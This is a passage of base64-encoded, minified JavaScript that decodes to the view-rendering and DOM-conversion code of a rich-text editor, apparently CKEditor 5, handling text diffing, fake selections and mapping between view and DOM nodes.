GwsdGhpcy5kb21Db252ZXJ0ZXIpKX1fZmluZFJlcGxhY2VBY3Rpb25zKHQsZSxuKXtpZih0LmluZGV4T2YoImluc2VydCIpPT09LTF8fHQuaW5kZXhPZigiZGVsZXRlIik9PT0tMSl7cmV0dXJuIHR9bGV0IGk9W107bGV0IG89W107bGV0IHI9W107Y29uc3Qgcz17ZXF1YWw6MCxpbnNlcnQ6MCxkZWxldGU6MH07Zm9yKGNvbnN0IGEgb2YgdCl7aWYoYT09PSJpbnNlcnQiKXtyLnB1c2gobltzLmVxdWFsK3MuaW5zZXJ0XSl9ZWxzZSBpZihhPT09ImRlbGV0ZSIpe28ucHVzaChlW3MuZXF1YWwrcy5kZWxldGVdKX1lbHNle2k9aS5jb25jYXQoRWQobyxyLFBkKS5tYXAoKHQ9PnQ9PT0iZXF1YWwiPyJyZXBsYWNlIjp0KSkpO2kucHVzaCgiZXF1YWwiKTtvPVtdO3I9W119c1thXSsrfXJldHVybiBpLmNvbmNhdChFZChvLHIsUGQpLm1hcCgodD0+dD09PSJlcXVhbCI/InJlcGxhY2UiOnQpKSl9X21hcmtEZXNjZW5kYW50VGV4dFRvU3luYyh0KXtpZighdCl7cmV0dXJufWlmKHQuaXMoIiR0ZXh0Iikpe3RoaXMubWFya2VkVGV4dHMuYWRkKHQpfWVsc2UgaWYodC5pcygiZWxlbWVudCIpKXtmb3IoY29uc3QgZSBvZiB0LmdldENoaWxkcmVuKCkpe3RoaXMuX21hcmtEZXNjZW5kYW50VGV4dFRvU3luYyhlKX19fV91cGRhdGVTZWxlY3Rpb24oKXtpZih0aGlzLnNlbGVjdGlvbi5yYW5nZUNvdW50PT09MCl7dGhpcy5fcmVtb3ZlRG9tU2VsZWN0aW9uKCk7dGhpcy5fcmVtb3ZlRmFrZVNlbGVjdGlvbigpO3JldHVybn1jb25zdCB0PXRoaXMuZG9tQ29udmVydGVyLm1hcFZpZXdUb0RvbSh0aGlzLnNlbGVjdGlvbi5lZGl0YWJsZUVsZW1lbnQpO2lmKCF0aGlzLmlzRm9jdXNlZHx8IXQpe3JldHVybn1pZih0aGlzLnNlbGVjdGlvbi5pc0Zha2Upe3RoaXMuX3VwZGF0ZUZha2VTZWxlY3Rpb24odCl9ZWxzZXt0aGlzLl9yZW1vdmVGYWtlU2VsZWN0aW9uKCk7dGhpcy5fdXBkYXRlRG9tU2VsZWN0aW9uKHQpfX1fdXBkYXRlRmFrZVNlbGVjdGlvbih0KXtjb25zdCBlPXQub3duZXJEb2N1bWVudDtpZighdGhpcy5fZmFrZVNlbGVjdGlvbkNvbnRhaW5lcil7dGhpcy5fZmFrZVNlbGVjdGlvbkNvbnRhaW5lcj1SZChlKX1jb25zdCBuPXRoaXMuX2Zha2VTZWxlY3Rpb25Db250YWluZXI7dGhpcy5kb21Db252ZXJ0ZXIuYmluZEZha2VTZWxlY3Rpb24obix0aGlzLnNlbGVjdGlvbik7aWYoIXRoaXMuX2Zha2VTZWxlY3Rpb25OZWVkc1VwZGF0ZSh0KSl7cmV0dXJufWlmKCFuLnBhcmVudEVsZW1lbnR8fG4ucGFyZW50RWxlbWVudCE9dCl7dC5hcHBlbmRDaGlsZChuKX1uLnRleHRDb250ZW50PXRoaXMuc2VsZWN0aW9uLmZha2VTZWxlY3Rpb25MYWJlbHx8IsKgIjtjb25zdCBpPWUuZ2V0U2VsZWN0aW9uKCk7Y29uc3Qgbz1lLmNyZWF0ZVJhbmdlKCk7aS5yZW1vdmVBbGxSYW5nZXMoKTtvLnNlbGVjdE5vZGVDb250ZW50cyhuKTtpLmFkZFJhbmdlKG8pfV91cGRhdGVEb21TZWxlY3Rpb24odCl7Y29uc3QgZT10Lm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcuZ2V0U2VsZWN0aW9uKCk7aWYoIXRoaXMuX2RvbVNlbGVjdGlvbk5lZWRzVXBkYXRlKGUpKXtyZXR1cm59Y29uc3Qgbj10aGlzLmRvbUNvbnZlcnRlci52aWV3UG9zaXRpb25Ub0RvbSh0aGlzLnNlbGVjdGlvbi5hbmNob3IpO2NvbnN0IGk9dGhpcy5kb21Db252ZXJ0ZXIudmlld1Bvc2l0aW9uVG9Eb20odGhpcy5zZWxlY3Rpb24uZm9jdXMpO3QuZm9jdXMoKTtlLmNvbGxhcHNlKG4ucGFyZW50LG4ub2Zmc2V0KTtlLmV4dGVuZChpLnBhcmVudCxpLm9mZnNldCk7aWYoRWwuaXNHZWNrbyl7TGQoaSxlKX19X2RvbVNlbGVjdGlvbk5lZWRzVXBkYXRlKHQpe2lmKCF0aGlzLmRvbUNvbnZlcnRlci5pc0RvbVNlbGVjdGlvbkNvcnJlY3QodCkpe3JldHVybiB0cnVlfWNvbnN0IGU9dCYmdGhpcy5kb21Db252ZXJ0ZXIuZG9tU2VsZWN0aW9uVG9WaWV3KHQpO2lmKGUmJnRoaXMuc2VsZWN0aW9uLmlzRXF1YWwoZSkpe3JldHVybiBmYWxzZX1pZighdGhpcy5zZWxlY3Rpb24uaXNDb2xsYXBzZWQmJnRoaXMuc2VsZWN0aW9uLmlzU2ltaWxhcihlKSl7cmV0dXJuIGZhbHNlfXJldHVybiB0cnVlfV9mYWtlU2VsZWN0aW9uTmVlZHNVcGRhdGUodCl7Y29uc3QgZT10aGlzLl9mYWtlU2VsZWN0aW9uQ29udGFpbmVyO2NvbnN0IG49dC5vd25lckRvY3VtZW50LmdldFNlbGVjdGlvbigpO2lmKCFlfHxlLnBhcmVudEVsZW1lbnQhPT10KXtyZXR1cm4gdHJ1ZX1pZihuLmFuY2hvck5vZGUhPT1lJiYhZS5jb250YWlucyhuLmFuY2hvck5vZGUpKXtyZXR1cm4gdHJ1ZX1yZXR1cm4gZS50ZXh0Q29udGVudCE9PXRoaXMuc2VsZWN0aW9uLmZha2VTZWxlY3Rpb25MYWJlbH1fcmVtb3ZlRG9tU2VsZWN0aW9uKCl7Zm9yKGNvbnN0IHQgb2YgdGhpcy5kb21Eb2N1bWVudHMpe2NvbnN0IGU9dC5nZXRTZWxlY3Rpb24oKTtpZihlLnJhbmdlQ291bnQpe2NvbnN0IGU9dC5hY3RpdmVFbGVtZW50O2NvbnN0IG49dGhpcy5kb21Db252ZXJ0ZXIubWFwRG9tVG9WaWV3KGUpO2lmKGUmJm4pe3QuZ2V0U2VsZWN0aW9uKCkucmVtb3ZlQWxsUmFuZ2VzKCl9fX19X3JlbW92ZUZha2VTZWxlY3Rpb24oKXtjb25zdCB0PXRoaXMuX2Zha2VTZWxlY3Rpb25Db250YWluZXI7aWYodCl7dC5yZW1vdmUoKX19X3VwZGF0ZUZvY3VzKCl7aWYodGhpcy5pc0ZvY3VzZWQpe2NvbnN0IHQ9dGhpcy5zZWxlY3Rpb24uZWRpdGFibGVFbGVtZW50O2lmKHQpe3RoaXMuZG9tQ29udmVydGVyLmZvY3VzKHQpfX19fV9zKElkLEpjKTtmdW5jdGlvbiBOZCh0KXtpZih0LmdldEF0dHJpYnV0ZSgiY29udGVudGVkaXRhYmxlIik9PSJmYWxzZSIpe3JldHVybiBmYWxzZX1jb25zdCBlPXQuZmluZEFuY2VzdG9yKCh0PT50Lmhhc0F0dHJpYnV0ZSgiY29udGVudGVkaXRhYmxlIikpKTtyZXR1cm4hZXx8ZS5nZXRBdHRyaWJ1dGUoImNvbnRlbnRlZGl0YWJsZSIpPT0idHJ1ZSJ9ZnVuY3Rpb24gQmQodCxlLG4pe2NvbnN0IGk9ZSBpbnN0YW5jZW9mIEFycmF5P2U6ZS5jaGlsZE5vZGVzO2NvbnN0IG89aVtuXTtpZih1ZChvKSl7by5kYXRhPWdkK28uZGF0YTtyZXR1cm4gb31lbHNle2NvbnN0IG89dC5jcmVhdGVUZXh0Tm9kZShnZCk7aWYoQXJyYXkuaXNBcnJheShlKSl7aS5zcGxpY2UobiwwLG8pfWVsc2V7TWQoZSxuLG8pfXJldHVybiBvfX1mdW5jdGlvbiBQZCh0LGUpe3JldHVybiBUZCh0KSYmVGQoZSkmJiF1ZCh0KSYmIXVkKGUpJiZ0Lm5vZGVUeXBlIT09Tm9kZS5DT01NRU5UX05PREUmJmUubm9kZVR5cGUhPT1Ob2RlLkNPTU1FTlRfTk9ERSYmdC50YWdOYW1lLnRvTG93ZXJDYXNlKCk9PT1lLnRhZ05hbWUudG9Mb3dlckNhc2UoKX1mdW5jdGlvbiB6ZCh0LGUsbil7aWYoZT09PW4pe3JldHVybiB0cnVlfWVsc2UgaWYodWQoZSkmJnVkKG4pKXtyZXR1cm4gZS5kYXRhPT09bi5kYXRhfWVsc2UgaWYodC5pc0Jsb2NrRmlsbGVyKGUpJiZ0LmlzQmxvY2tGaWxsZXIobikpe3JldHVybiB0cnVlfXJldHVybiBmYWxzZX1mdW5jdGlvbiBMZCh0LGUpe2NvbnN0IG49dC5wYXJlbnQ7aWYobi5ub2RlVHlwZSE9Tm9kZS5FTEVNRU5UX05PREV8fHQub2Zmc2V0IT1uLmNoaWxkTm9kZXMubGVuZ3RoLTEpe3JldHVybn1jb25zdCBpPW4uY2hpbGROb2Rlc1t0Lm9mZnNldF07aWYoaSYmaS50YWdOYW1lPT0iQlIiKXtlLmFkZFJhbmdlKGUuZ2V0UmFuZ2VBdCgwKSl9fWZ1bmN0aW9uIE9kKHQsZSl7Y29uc3Qgbj1BcnJheS5mcm9tKHQpO2lmKG4ubGVuZ3RoPT0wfHwhZSl7cmV0dXJuIG59Y29uc3QgaT1uW24ubGVuZ3RoLTFdO2lmKGk9PWUpe24ucG9wKCl9cmV0dXJuIG59ZnVuY3Rpb24gUmQodCl7Y29uc3QgZT10LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2UuY2xhc3NOYW1lPSJjay1mYWtlLXNlbGVjdGlvbi1jb250YWluZXIiO09iamVjdC5hc3NpZ24oZS5zdHlsZSx7cG9zaXRpb246ImZpeGVkIix0b3A6MCxsZWZ0OiItOTk5OXB4Iix3aWR0aDoiNDJweCJ9KTtlLnRleHRDb250ZW50PSLCoCI7cmV0dXJuIGV9dmFyIGpkPXt3aW5kb3c6d2luZG93LGRvY3VtZW50OmRvY3VtZW50fTtmdW5jdGlvbiBGZCh0KXtsZXQgZT0wO3doaWxlKHQucHJldmlvdXNTaWJsaW5nKXt0PXQucHJldmlvdXNTaWJsaW5nO2UrK31yZXR1cm4gZX1mdW5jdGlvbiBWZCh0KXtjb25zdCBlPVtdO3doaWxlKHQmJnQubm9kZVR5cGUhPU5vZGUuRE9DVU1FTlRfTk9ERSl7ZS51bnNoaWZ0KHQpO3Q9dC5wYXJlbnROb2RlfXJldHVybiBlfWZ1bmN0aW9uIFVkKHQsZSl7Y29uc3Qgbj1WZCh0KTtjb25zdCBpPVZkKGUpO2xldCBvPTA7d2hpbGUobltvXT09aVtvXSYmbltvXSl7bysrfXJldHVybiBvPT09MD9udWxsOm5bby0xXX1jb25zdCBIZD1mZChkb2N1bWVudCk7Y2xhc3MgR2R7Y29uc3RydWN0b3IodCxlPXt9KXt0aGlzLmRvY3VtZW50PXQ7dGhpcy5ibG9ja0ZpbGxlck1vZGU9ZS5ibG9ja0ZpbGxlck1vZGV8fCJiciI7dGhpcy5wcmVFbGVtZW50cz1bInByZSJdO3RoaXMuYmxvY2tFbGVtZW50cz1bInAiLCJkaXYiLCJoMSIsImgyIiwiaDMiLCJoNCIsImg1IiwiaDYiLCJsaSIsImRkIiwiZHQiLCJmaWdjYXB0aW9uIiwidGQiLCJ0aCJdO3RoaXMuX2Jsb2NrRmlsbGVyPXRoaXMuYmxvY2tGaWxsZXJNb2RlPT0iYnIiP2ZkOmhkO3RoaXMuX2RvbVRvVmlld01hcHBpbmc9bmV3IFdlYWtNYXA7dGhpcy5fdmlld1RvRG9tTWFwcGluZz1uZXcgV2Vha01hcDt0aGlzLl9mYWtlU2VsZWN0aW9uTWFwcGluZz1uZXcgV2Vha01hcDt0aGlzLl9yYXdDb250ZW50RWxlbWVudE1hdGNoZXI9bmV3IFdzO3RoaXMuX2VuY291bnRlcmVkUmF3Q29udGVudERvbU5vZGVzPW5ldyBXZWFrU2V0fWJpbmRGYWtlU2VsZWN0aW9uKHQsZSl7dGhpcy5fZmFrZVNlbGVjdGlvbk1hcHBpbmcuc2V0KHQsbmV3IHBsKGUpKX1mYWtlU2VsZWN0aW9uVG9WaWV3KHQpe3JldHVybiB0aGlzLl9mYWtlU2VsZWN0aW9uTWFwcGluZy5nZXQodCl9YmluZEVsZW1lbnRzKHQsZSl7dGhpcy5fZG9tVG9WaWV3TWFwcGluZy5zZXQodCxlKTt0aGlzLl92aWV3VG9Eb21NYXBwaW5nLnNldChlLHQpfXVuYmluZERvbUVsZW1lbnQodCl7Y29uc3QgZT10aGlzLl9kb21Ub1ZpZXdNYXBwaW5nLmdldCh0KTtpZihlKXt0aGlzLl9kb21Ub1ZpZXdNYXBwaW5nLmRlbGV0ZSh0KTt0aGlzLl92aWV3VG9Eb21NYXBwaW5nLmRlbGV0ZShlKTtmb3IoY29uc3QgZSBvZiB0LmNoaWxkTm9kZXMpe3RoaXMudW5iaW5kRG9tRWxlbWVudChlKX19fWJpbmREb2N1bWVudEZyYWdtZW50cyh0LGUpe3RoaXMuX2RvbVRvVmlld01hcHBpbmcuc2V0KHQsZSk7dGhpcy5fdmlld1RvRG9tTWFwcGluZy5zZXQoZSx0KX12aWV3VG9Eb20odCxlLG49e30pe2lmKHQuaXMoIiR0ZXh0Iikpe2NvbnN0IG49dGhpcy5fcHJvY2Vzc0RhdGFGcm9tVmlld1RleHQodCk7cmV0dXJuIGUuY3JlYXRlVGV4dE5vZGUobil9ZWxzZXtpZih0aGlzLm1hcFZpZXdUb0RvbSh0KSl7cmV0dXJuIHRoaXMubWFwVmlld1RvRG9tKHQpfWxldCBpO2lmKHQuaXMoImRvY3VtZW50RnJhZ21lbnQiKSl7aT1lLmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTtpZihuLmJpbmQpe3RoaXMuYmluZERvY3VtZW50RnJhZ21lbnRzKGksdCl9fWVsc2UgaWYodC5pcygidWlFbGVtZW50Iikpe2k9dC5yZW5kZXIoZSk7aWYobi5iaW5kKXt0aGlzLmJpbmRFbGVtZW50cyhpLHQpfXJldHVybiBpfWVsc2V7aWYodC5oYXNBdHRyaWJ1dGUoInhtbG5zIikpe2k9ZS5jcmVhdGVFbGVtZW50TlModC5nZXRBdHRyaWJ1dGUoInhtbG5zIiksdC5uYW1lKX1lbHNle2k9ZS5jcmVhdGVFbGVtZW50KHQubmFtZSl9aWYodC5pcygicmF3RWxlbWVudCIpKXt0LnJlbmRlcihpKX1pZihuLmJpbmQpe3RoaXMuYmluZEVsZW1lbnRzKGksdCl9Zm9yKGNvbnN0IGUgb2YgdC5nZXRBdHRyaWJ1dGVLZXlzKCkpe2kuc2V0QXR0cmlidXRlKGUsdC5nZXRBdHRyaWJ1dGUoZSkpfX1pZihuLndpdGhDaGlsZHJlbiE9PWZhbHNlKXtmb3IoY29uc3QgbyBvZiB0aGlzLnZpZXdDaGlsZHJlblRvRG9tKHQsZSxuKSl7aS5hcHBlbmRDaGlsZChvKX19cmV0dXJuIGl9fSp2aWV3Q2hpbGRyZW5Ub0RvbSh0LGUsbj17fSl7Y29uc3QgaT10LmdldEZpbGxlck9mZnNldCYmdC5nZXRGaWxsZXJPZmZzZXQoKTtsZXQgbz0wO2Zvcihjb25zdCByIG9mIHQuZ2V0Q2hpbGRyZW4oKSl7aWYoaT09PW8pe3lpZWxkIHRoaXMuX2Jsb2NrRmlsbGVyKGUpfXlpZWxkIHRoaXMudmlld1RvRG9tKHIsZSxuKTtvKyt9aWYoaT09PW8pe3lpZWxkIHRoaXMuX2Jsb2NrRmlsbGVyKGUpfX12aWV3UmFuZ2VUb0RvbSh0KXtjb25zdCBlPXRoaXMudmlld1Bvc2l0aW9uVG9Eb20odC5zdGFydCk7Y29uc3Qgbj10aGlzLnZpZXdQb3NpdGlvblRvRG9tKHQuZW5kKTtjb25zdCBpPWRvY3VtZW50LmNyZWF0ZVJhbmdlKCk7aS5zZXRTdGFydChlLnBhcmVudCxlLm9mZnNldCk7aS5zZXRFbmQobi5wYXJlbnQsbi5vZmZzZXQpO3JldHVybiBpfXZpZXdQb3NpdGlvblRvRG9tKHQpe2NvbnN0IGU9dC5wYXJlbnQ7aWYoZS5pcygiJHRleHQiKSl7Y29uc3Qgbj10aGlzLmZpbmRDb3JyZXNwb25kaW5nRG9tVGV4dChlKTtpZighbil7cmV0dXJuIG51bGx9bGV0IGk9dC5vZmZzZXQ7aWYocGQobikpe2krPW1kfXJldHVybntwYXJlbnQ6bixvZmZzZXQ6aX19ZWxzZXtsZXQgbixpLG87aWYodC5vZmZzZXQ9PT0wKXtuPXRoaXMubWFwVmlld1RvRG9tKGUpO2lmKCFuKXtyZXR1cm4gbnVsbH1vPW4uY2hpbGROb2Rlc1swXX1lbHNle2NvbnN0IGU9dC5ub2RlQmVmb3JlO2k9ZS5pcygiJHRleHQiKT90aGlzLmZpbmRDb3JyZXNwb25kaW5nRG9tVGV4dChlKTp0aGlzLm1hcFZpZXdUb0RvbSh0Lm5vZGVCZWZvcmUpO2lmKCFpKXtyZXR1cm4gbnVsbH1uPWkucGFyZW50Tm9kZTtvPWkubmV4dFNpYmxpbmd9aWYodWQobykmJnBkKG8pKXtyZXR1cm57cGFyZW50Om8sb2Zmc2V0Om1kfX1jb25zdCByPWk/RmQoaSkrMTowO3JldHVybntwYXJlbnQ6bixvZmZzZXQ6cn19fWRvbVRvVmlldyh0LGU9e30pe2lmKHRoaXMuaXNCbG9ja0ZpbGxlcih0LHRoaXMuYmxvY2tGaWxsZXJNb2RlKSl7cmV0dXJuIG51bGx9Y29uc3Qgbj10aGlzLmdldEhvc3RWaWV3RWxlbWVudCh0KTtpZihuKXtyZXR1cm4gbn1pZih1ZCh0KSl7aWYoa2QodCkpe3JldHVybiBudWxsfWVsc2V7Y29uc3QgZT10aGlzLl9wcm9jZXNzRGF0YUZyb21Eb21UZXh0KHQpO3JldHVybiBlPT09IiI/bnVsbDpuZXcgVnModGhpcy5kb2N1bWVudCxlKX19ZWxzZSBpZih0aGlzLmlzQ29tbWVudCh0KSl7cmV0dXJuIG51bGx9ZWxzZXtpZih0aGlzLm1hcERvbVRvVmlldyh0KSl7cmV0dXJuIHRoaXMubWFwRG9tVG9WaWV3KHQpfWxldCBuO2lmKHRoaXMuaXNEb2N1bWVudEZyYWdtZW50KHQpKXtuPW5ldyBKbCh0aGlzLmRvY3VtZW50KTtpZihlLmJpbmQpe3RoaXMuYmluZERvY3VtZW50RnJhZ21lbnRzKHQsbil9fWVsc2V7Y29uc3QgaT1lLmtlZXBPcmlnaW5hbENhc2U/dC50YWdOYW1lOnQudGFnTmFtZS50b0xvd2VyQ2FzZSgpO249bmV3IGpjKHRoaXMuZG9jdW1lbnQsaSk7aWYoZS5iaW5kKXt0aGlzLmJpbmRFbGVtZW50cyh0LG4pfWNvbnN0IG89dC5hdHRyaWJ1dGVzO2ZvcihsZXQgdD1vLmxlbmd0aC0xO3Q+PTA7dC0tKXtuLl9zZXRBdHRyaWJ1dGUob1t0XS5uYW1lLG9bdF0udmFsdWUpfWlmKGUud2l0aENoaWxkcmVuIT09ZmFsc2UmJnRoaXMuX3Jhd0NvbnRlbnRFbGVtZW50TWF0Y2hlci5tYXRjaChuKSl7bi5fc2V0Q3VzdG9tUHJvcGVydHkoIiRyYXdDb250ZW50Iix0LmlubmVySFRNTCk7dGhpcy5fZW5jb3VudGVyZWRSYXdDb250ZW50RG9tTm9kZXMuYWRkKHQpO3JldHVybiBufX1pZihlLndpdGhDaGlsZHJlbiE9PWZhbHNlKXtmb3IoY29uc3QgaSBvZiB0aGlzLmRvbUNoaWxkcmVuVG9WaWV3KHQsZSkpe24uX2FwcGVuZENoaWxkKGkpfX1yZXR1cm4gbn19KmRvbUNoaWxkcmVuVG9WaWV3KHQsZT17fSl7Zm9yKGxldCBuPTA7bjx0LmNoaWxkTm9kZXMubGVuZ3RoO24rKyl7Y29uc3QgaT10LmNoaWxkTm9kZXNbbl07Y29uc3Qgbz10aGlzLmRvbVRvVmlldyhpLGUpO2lmKG8hPT1udWxsKXt5aWVsZCBvfX19ZG9tU2VsZWN0aW9uVG9WaWV3KHQpe2lmKHQucmFuZ2VDb3VudD09PTEpe2xldCBlPXQuZ2V0UmFuZ2VBdCgwKS5zdGFydENvbnRhaW5lcjtpZih1ZChlKSl7ZT1lLnBhcmVudE5vZGV9Y29uc3Qgbj10aGlzLmZha2VTZWxlY3Rpb25Ub1ZpZXcoZSk7aWYobil7cmV0dXJuIG59fWNvbnN0IGU9dGhpcy5pc0RvbVNlbGVjdGlvbkJhY2t3YXJkKHQpO2NvbnN0IG49W107Zm9yKGxldCBlPTA7ZTx0LnJhbmdlQ291bnQ7ZSsrKXtjb25zdCBpPXQuZ2V0UmFuZ2VBdChlKTtjb25zdCBvPXRoaXMuZG9tUmFuZ2VUb1ZpZXcoaSk7aWYobyl7bi5wdXNoKG8pfX1yZXR1cm4gbmV3IHBsKG4se2JhY2t3YXJkOmV9KX1kb21SYW5nZVRvVmlldyh0KXtjb25zdCBlPXRoaXMuZG9tUG9zaXRpb25Ub1ZpZXcodC5zdGFydENvbnRhaW5lcix0LnN0YXJ0T2Zmc2V0KTtjb25zdCBuPXRoaXMuZG9tUG9zaXRpb25Ub1ZpZXcodC5lbmRDb250YWluZXIsdC5lbmRPZmZzZXQpO2lmKGUmJm4pe3JldHVybiBuZXcgZmwoZSxuKX1yZXR1cm4gbnVsbH1kb21Qb3NpdGlvblRvVmlldyh0LGUpe2lmKHRoaXMuaXNCbG9ja0ZpbGxlcih0LHRoaXMuYmxvY2tGaWxsZXJNb2RlKSl7cmV0dXJuIHRoaXMuZG9tUG9zaXRpb25Ub1ZpZXcodC5wYXJlbnROb2RlLEZkKHQpKX1jb25zdCBuPXRoaXMubWFwRG9tVG9WaWV3KHQpO2lmKG4mJihuLmlzKCJ1aUVsZW1lbnQiKXx8bi5pcygicmF3RWxlbWVudCIpKSl7cmV0dXJuIGhsLl9jcmVhdGVCZWZvcmUobil9aWYodWQodCkpe2lmKGtkKHQpKXtyZXR1cm4gdGhpcy5kb21Qb3NpdGlvblRvVmlldyh0LnBhcmVudE5vZGUsRmQodCkpfWNvbnN0IG49dGhpcy5maW5kQ29ycmVzcG9uZGluZ1ZpZXdUZXh0KHQpO2xldCBpPWU7aWYoIW4pe3JldHVybiBudWxsfWlmKHBkKHQpKXtpLT1tZDtpPWk8MD8wOml9cmV0dXJuIG5ldyBobChuLGkpfWVsc2V7aWYoZT09PTApe2NvbnN0IGU9dGhpcy5tYXBEb21Ub1ZpZXcodCk7aWYoZSl7cmV0dXJuIG5ldyBobChlLDApfX1lbHNle2NvbnN0IG49dC5jaGlsZE5vZGVzW2UtMV07Y29uc3QgaT11ZChuKT90aGlzLmZpbmRDb3JyZXNwb25kaW5nVmlld1RleHQobik6dGhpcy5tYXBEb21Ub1ZpZXcobik7aWYoaSYmaS5wYXJlbnQpe3JldHVybiBuZXcgaGwoaS5wYXJlbnQsaS5pbmRleCsxKX19cmV0dXJuIG51bGx9fW1hcERvbVRvVmlldyh0KXtjb25zdCBlPXRoaXMuZ2V0SG9zdFZpZXdFbGVtZW50KHQpO3JldHVybiBlfHx0aGlzLl9kb21Ub1ZpZXdNYXBwaW5nLmdldCh0KX1maW5kQ29ycmVzcG9uZGluZ1ZpZXdUZXh0KHQpe2lmKGtkKHQpKXtyZXR1cm4gbnVsbH1jb25zdCBlPXRoaXMuZ2V0SG9zdFZpZXdFbGVtZW50KHQpO2lmKGUpe3JldHVybiBlfWNvbnN0IG49dC5wcmV2aW91c1NpYmxpbmc7aWYobil7aWYoIXRoaXMuaXNFbGVtZW50KG4pKXtyZXR1cm4gbnVsbH1jb25zdCB0PXRoaXMubWFwRG9tVG9WaWV3KG4pO2lmKHQpe2NvbnN0IGU9dC5uZXh0U2libGluZztpZihlIGluc3RhbmNlb2YgVnMpe3JldHVybiB0Lm5leHRTaWJsaW5nfWVsc2V7cmV0dXJuIG51bGx9fX1lbHNle2NvbnN0IGU9dGhpcy5tYXBEb21Ub1ZpZXcodC5wYXJlbnROb2RlKTtpZihlKXtjb25zdCB0PWUuZ2V0Q2hpbGQoMCk7aWYodCBpbnN0YW5jZW9mIFZzKXtyZXR1cm4gdH1lbHNle3JldHVybiBudWxsfX19cmV0dXJuIG51bGx9bWFwVmlld1RvRG9tKHQpe3JldHVybiB0aGlzLl92aWV3VG9Eb21NYXBwaW5nLmdldCh0KX1maW5kQ29ycmVzcG9uZGluZ0RvbVRleHQodCl7Y29uc3QgZT10LnByZXZpb3VzU2libGluZztpZihlJiZ0aGlzLm1hcFZpZXdUb0RvbShlKSl7cmV0dXJuIHRoaXMubWFwVmlld1RvRG9tKGUpLm5leHRTaWJsaW5nfWlmKCFlJiZ0LnBhcmVudCYmdGhpcy5tYXBWaWV3VG9Eb20odC5wYXJlbnQpKXtyZXR1cm4gdGhpcy5tYXBWaWV3VG9Eb20odC5wYXJlbnQpLmNoaWxkTm9kZXNbMF19cmV0dXJuIG51bGx9Zm9jdXModCl7Y29uc3QgZT10aGlzLm1hcFZpZXdUb0RvbSh0KTtpZihlJiZlLm93bmVyRG9jdW1lbnQuYWN0aXZlRWxlbWVudCE9PWUpe2NvbnN0e3Njcm9sbFg6dCxzY3JvbGxZOm59PWpkLndpbmRvdztjb25zdCBpPVtdO0tkKGUsKHQ9Pntjb25zdHtzY3JvbGxMZWZ0OmUsc2Nyb2xsVG9wOm59PXQ7aS5wdXNoKFtlLG5dKX0pKTtlLmZvY3VzKCk7S2QoZSwodD0+e2NvbnN0W2Usbl09aS5zaGlmdCgpO3Quc2Nyb2xsTGVmdD1lO3Quc2Nyb2xsVG9wPW59KSk7amQud2luZG93LnNjcm9sbFRvKHQsbil9fWlzRWxlbWVudCh0KXtyZXR1cm4gdCYmdC5ub2RlVHlwZT09Tm9kZS5FTEVNRU5UX05PREV9aXNEb2N1bWVudEZyYWdtZW50KHQpe3JldHVybiB0JiZ0Lm5vZGVUeXBlPT1Ob2RlLkRPQ1VNRU5UX0ZSQUdNRU5UX05PREV9aXNDb21tZW50KHQpe3JldHVybiB0JiZ0Lm5vZGVUeXBlPT1Ob2RlLkNPTU1FTlRfTk9ERX1pc0Jsb2NrRmlsbGVyKHQpe2lmKHRoaXMuYmxvY2tGaWxsZXJNb2RlPT0iYnIiKXtyZXR1cm4gdC5pc0VxdWFsTm9kZShIZCl9aWYodC50YWdOYW1lPT09IkJSIiYmWWQodCx0aGlzLmJsb2NrRWxlbWVudHMpJiZ0LnBhcmVudE5vZGUuY2hpbGROb2Rlcy5sZW5ndGg9PT0xKXtyZXR1cm4gdHJ1ZX1yZXR1cm4gcWQodCx0aGlzLmJsb2NrRWxlbWVudHMpfWlzRG9tU2VsZWN0aW9uQmFja3dhcmQodCl7aWYodC5pc0NvbGxhcHNlZCl7cmV0dXJuIGZhbHNlfWNvbnN0IGU9ZG9jdW1lbnQuY3JlYXRlUmFuZ2UoKTtlLnNldFN0YXJ0KHQuYW5jaG9yTm9kZSx0LmFuY2hvck9mZnNldCk7ZS5zZXRFbmQodC5mb2N1c05vZGUsdC5mb2N1c09mZnNldCk7Y29uc3Qgbj1lLmNvbGxhcHNlZDtlLmRldGFjaCgpO3JldHVybiBufWdldEhvc3RWaWV3RWxlbWVudCh0KXtjb25zdCBlPVZkKHQpO2UucG9wKCk7d2hpbGUoZS5sZW5ndGgpe2NvbnN0IHQ9ZS5wb3AoKTtjb25zdCBuPXRoaXMuX2RvbVRvVmlld01hcHBpbmcuZ2V0KHQpO2lmKG4mJihuLmlzKCJ1aUVsZW1lbnQiKXx8bi5pcygicmF3RWxlbWVudCIpKSl7cmV0dXJuIG59fXJldHVybiBudWxsfWlzRG9tU2VsZWN0aW9uQ29ycmVjdCh0KXtyZXR1cm4gdGhpcy5faXNEb21TZWxlY3Rpb25Qb3NpdGlvbkNvcnJlY3QodC5hbmNob3JOb2RlLHQuYW5jaG9yT2Zmc2V0KSYmdGhpcy5faXNEb21TZWxlY3Rpb25Qb3NpdGlvbkNvcnJlY3QodC5mb2N1c05vZGUsdC5mb2N1c09mZnNldCl9cmVnaXN0ZXJSYXdDb250ZW50TWF0Y2hlcih0KXt0aGlzLl9yYXdDb250ZW50RWxlbWVudE1hdGNoZXIuYWRkKHQpfV9pc0RvbVNlbGVjdGlvblBvc2l0aW9uQ29ycmVjdCh0LGUpe2lmKHVkKHQpJiZwZCh0KSYmZTxtZCl7cmV0dXJuIGZhbHNlfWlmKHRoaXMuaXNFbGVtZW50KHQpJiZwZCh0LmNoaWxkTm9kZXNbZV0pKXtyZXR1cm4gZmFsc2V9Y29uc3Qgbj10aGlzLm1hcERvbVRvVmlldyh0KTtpZihuJiYobi5pcygidWlFbGVtZW50Iil8fG4uaXMoInJhd0VsZW1lbnQiKSkpe3JldHVybiBmYWxzZX1yZXR1cm4gdHJ1ZX1fcHJvY2Vzc0RhdGFGcm9tVmlld1RleHQodCl7bGV0IGU9dC5kYXRhO2lmKHQuZ2V0QW5jZXN0b3JzKCkuc29tZSgodD0+dGhpcy5wcmVFbGVtZW50cy5pbmNsdWRlcyh0Lm5hbWUpKSkpe3JldHVybiBlfWlmKGUuY2hhckF0KDApPT0iICIpe2NvbnN0IG49dGhpcy5fZ2V0VG91Y2hpbmdWaWV3VGV4dE5vZGUodCxmYWxzZSk7Y29uc3QgaT1uJiZ0aGlzLl9ub2RlRW5kc1dpdGhTcGFjZShuKTtpZihpfHwhbil7ZT0iwqAiK2Uuc3Vic3RyKDEpfX1pZihlLmNoYXJBdChlLmxlbmd0aC0xKT09IiAiKXtjb25zdCBuPXRoaX